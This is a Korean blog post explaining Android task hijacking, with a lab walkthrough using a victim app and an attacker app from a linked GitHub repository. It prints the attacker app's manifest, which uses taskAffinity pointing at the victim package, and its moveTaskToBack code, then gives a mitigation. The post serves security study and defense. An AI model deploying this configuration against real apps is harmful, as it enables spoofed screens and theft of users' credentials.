[Android] Android Task Hijacking

silver35·2023년 5월 28일
0

Android

목록 보기
3/3

Task Hijacking이란?

Android 기기에서 악성 앱이 사용자의 안드로이드 기기에서 실행 중인 다른 앱의 작업을 장악하거나 조작하는 공격이다. 이러한 공격은 보통 사용자의 동의나 인지 없이 이루어지며, 사용자가 원래 의도했던 작업을 간섭하거나 악의적인 목적을 위해 앱을 조작할 수 있다.

Android Task란?

Application에서 실행된 Activity를 저장하는 공간이며 앱 간에 작업을 전환할 때 사용한다. 즉, 현재 실행중인 작업은 화면에 표시되며 사용자가 다른 앱을 실행하면 해당 앱의 작업이 스택 위로 올라가고 현재 작업은 숨겨지게 된다.

Android에서 launchMode라는 액티비티(Activity)의 속성을 사용하여 액티비티가 어떻게 시작되고 관리하는지를 정의할 수 있다. 아래와 같이 4개의 launchMode 옵션이 존재한다.

  1. standard (Default)
  2. singleTop
  3. singleTask
  4. singleInstance

이중 singleTask인 경우에만 애플리케이션 하이재킹이 가능하다. singleTask 모드에서는 액티비티는 독립된 작업(Task)로 배치되며, 해당 작업 내에서는 하나의 인스턴스만 허용이 된다. 따라서, 앱의 모든 활동이 동일한 작업에 속하기 때문에 사용자가 앱을 사용하고 있을 떄 앱의 모든 활동이 동일한 화면에서 표시 된다. 공격자는 이를 이용해 사용자가 다른 앱을 사용하고 있을 때 악성 앱을 해당 앱의 작업에 삽입하여 공격을 시도 할 수 있다.

실습

준비

아래 사이트에서 Task Hijacking을 실습해볼 수 있는 Super Secure App, Attacker App 앱을 다운받아서 빌드 후 단말기에 설치한다.
https://github.com/az0mb13/Task_Hijacking_Strandhogg/tree/main/AttackerApp

코드분석

[Super Secure App]

Android Manifest 파일을 확인해보면 패키지명이 “com.zobmie.ssa”임을 알 수 있다. 또한, 액티비티 태그에 android:launchMode="singleTask"로 설정되어 있어 MainActivity가 별도의 작업(Task)로 시작되며, 이미 동일한 작업 그룹에 속한 다른 액티비티가 존재할 경우 해당 작업의 최상위에 위치하게 된다.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.zombie.ssa">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:logo="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.SuperSecureApp">
        <activity android:name=".LoggedIn"></activity>
        <activity android:name=".MainActivity" android:launchMode="singleTask">

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

[Hacker App]
Android Manifest 파일을 확인해보면 android:taskAffinity 속성이 “com.zombie.ssa”로 설정되어있다. 이는 MainActivity가 “com.zombie.ssa” 작업 그룹에 속한다는 것을 알 수 있다. 또한, Super Secure App과 마찬가지로 android:launchMode="singleTask"로 설정되어 있다. 이는 액티비티가 별도의 작업(Task)로 시작되며, 이미 동일한 작업 그룹에 속한 다른 액티비티가 존재할 경우 해당 작업의 최상위에 위치하게 설정 되어있다.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.zombie.attackerapp"
    tools:ignore="ExtraText">
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.AttackerApp"
        android:taskAffinity="com.zombie.ssa">
        <activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true">

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

MainActivity를 보면 onCreate() 메서드에 moveTaskToBack(true)를 호출한다. 이는 액티비티를 백그라운드로 이동시키는 함수이다. onResume() 메서드는 액티비티가 다시 포그라운드로 돌아올 때 호출되는 메서드이며 setContentView(R.layout.activity_main)은 액티비티의 레이아웃을 다시 설정한다.

package com.zombie.attackerapp;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import com.google.android.material.snackbar.Snackbar;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        moveTaskToBack(true);
    }

    @Override
    public void onResume(){
        super.onResume();
        setContentView(R.layout.activity_main);
    }
}

실습 진행

Super Secure App에서 ID가 admin, PASSWORD가 admin123으로 로그인을 시도하면 로그인에 성공한다.
이제 Task 하이재킹을 진행해보려 한다. 먼저, Attacker App을 실행하면 MainActivity의 onCreate() 메서드에 moveTaskToBack(true)가 실행돼 백그라운드로 이동되었다. 그 후 Super Secure App을 실행하면 SingleTask 설정으로 인해 앱의 모든 활동이 동일한 작업에 속하기 때문에 Attacker App의 MainActivity의 위에서 실행되는 것을 알 수 있다. 이 후, ID와 PASSWORD를 입력한 후 뒤로가기 버튼을 누르면 Attacker App의 OnResume 함수가 실행되어 Task hijacking에 성공한 것을 알 수 있다.

보안 대책

Android Manifest 파일에서 주요 액티비티 Task Affinity 속성값을 Null로 정의한다. android:taskAffinity는 Android Manifest 파일에서 액티비티(Activity)에 설정할 수 있는 속성이다. 이 속성은 액티비티가 속할 작업(Task)의 어떤 그룹에 할당될지를 지정하는데 사용한다. 아래와 같이 속성을 빈 문자열(””)로 설정을 하게 되면 액티비티는 새로운 작업(Task)에 할당되지 않고 기본 작업에 속하게 된다. 따라서, 악성 앱이 동일한 작업(Task) 자료 구조를 사용하지 못하므로, 액티비티 치환 불가하다.

<activity android:taskAffinity=""/>

참고자료)
Android Task Hijacking
Task Hijacking in Android - GeeksforGeeks

0개의 댓글